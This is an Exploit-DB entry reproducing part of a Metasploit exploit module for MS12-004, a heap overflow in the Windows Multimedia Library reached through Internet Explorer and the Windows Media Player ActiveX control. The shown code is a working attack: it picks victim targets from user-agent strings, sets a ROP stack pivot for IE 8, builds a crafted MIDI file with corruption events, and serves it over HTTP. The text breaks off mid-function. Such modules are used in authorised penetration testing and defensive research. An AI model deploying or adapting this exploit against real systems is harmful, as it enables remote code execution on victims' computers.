Exploit-DB #18426
Description: Microsoft Windows - midiOutPlayNextPolyEvent Heap Overflow (MS12-004) (Metasploit)
Type: remote
Platform: windows
Date: 2012-01-28
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",
			'Description'    => %q{
					This module exploits a heap overflow vulnerability in the Windows Multimedia
				Library (winmm.dll). The vulnerability occurs when parsing specially crafted
				MIDI files.  Remote code execution can be achieved by using Windows Media Player's
				ActiveX control.

					Exploitation is done by supplying a specially crafted MIDI file with
				specific events, causing the offset calculation being higher than how much is
				available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing
				us to either "inc al" or "dec al" a byte.  This can be used to corrupt an array
				(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
				which leverages remote code execution under the context of the user.

					At this time, for IE 8 target, JRE (Java Runtime Environment) is required
				to bypass DEP (Data Execution Prevention).

					Note: Based on our testing, the vulnerability does not seem to trigger when
				the victim machine is operated via rdesktop.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Shane Garrett',  #Initial discovery (IBM X-Force)
					'juan vazquez',
					'sinn3r',
				],
			'References'     =>
				[
					[ 'MSB', 'MS12-004'],
					[ 'CVE', '2012-0003' ],
					[ 'OSVDB', '78210'],
					[ 'BID', '51292'],
					[ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ],
				],
			'Payload'        =>
				{
					'Space'    => 1024,
				},
			'DefaultOptions'  =>
				{
					'EXITFUNC'             => "process",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[
						'IE 6 on Windows XP SP3',
						{
							'Rop' => false,
							'DispatchDst' => 0x0c0c0c0c
						}
					],
					[
						'IE 7 on Windows XP SP3',
						{
							'Rop' => false,
							'DispatchDst' => 0x0c0c0c0c
						}
					],
					[
						'IE 8 on Windows XP SP3',
						{
							# xchg ecx,esp
							# or byte ptr [eax],al
							# add byte ptr [edi+5Eh],bl
							# ret 8
							# From IMAGEHLP
							'Rop' => true,
							'StackPivot' => 0x76C9B4C2,
							'DispatchDst' => 0x0c0c1be4
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jan 10 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

	end

	def get_target(request)
		agent = request.headers['User-Agent']
		vprint_status("Request from: #{agent}")

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
			#Windows XP SP3 + IE 6.0
			return targets[1]
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
			#Windows XP SP3 + IE 7.0
			return targets[2]
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
			#Windows XP SP3 + IE 8.0 + JRE6
			return targets[3]
		else
			return nil
		end
	end

	def get_midi
		# MIDI Fileformat Reference:
		# http://www.sonicspot.com/guide/midifiles.html
		#
		# Event Types:
		# 0x08 = Note Off (when MIDI key is released)
		# 0x09 = Note On (when MIDI key is pressed)
		# 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
		# 0x0B = Controller Event (MIDI channels state)
		# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
		# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
		# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
		# 0x0F = Meta Events (not sent or received over a midi port)

		# Structure:
		# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)
		# Problem:
		# Windows Media Player fails to manage Note On and Note Off Events

		# Track Chunk Data
		tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D"
		# Meta Event - Sequence/Track Name
		tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00"
		# Midi Channel Event - Program Change
		tc << "\x00\xC9\x28"
		# Midi Channel Event - Controller
		tc << "\x00\xB9\x07\x64"
		# Midi Channel Event - Controller
		tc << "\x00\xB9\x0A\x40"
		# Midi Channel Event - Controller
		tc << "\x00\xB9\x7B\x00"
		# Midi Channel Event - Controller
		tc << "\x00\xB9\x5B\x28"
		# Midi Channel Event - Controller
		tc << "\x00\xB9\x5D\x00"
		# Midi Channel Event - Note On
		tc << "\x85\x50\x99\x23\x7F"

		# Corruption events
		# Midi Channel Event - Note On
		tc << "\x00\x9F\xb2\x73"
		# Ends Corruption events

		# Meta Event - End Of Track
		tc << "\x00\xFF\x2F\x00"
		m = ''
		# HEADERCHUNK Header
		m << "MThd"                 # Header
		m << "\x00\x00\x00\x06"     # Chunk size
		m << "\x00\x00"             # Format Type
		m << "\x00\x01"             # Number of tracks
		m << "\x00\x60"             # Time division
		# TRACKCHUNK header
		m << "MTrk"                 # Header
		m << [tc.length].pack('N')
		m << tc

		midi_name = "test_case.mid"

		return midi_name, m
	end

	def on_request_uri(cli, request)

		if request.uri =~ /\.mid$/i
			print_status("Sending midi file to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
			return
		end

		#Set default target
		my_target = target

		#If user chooses automatic target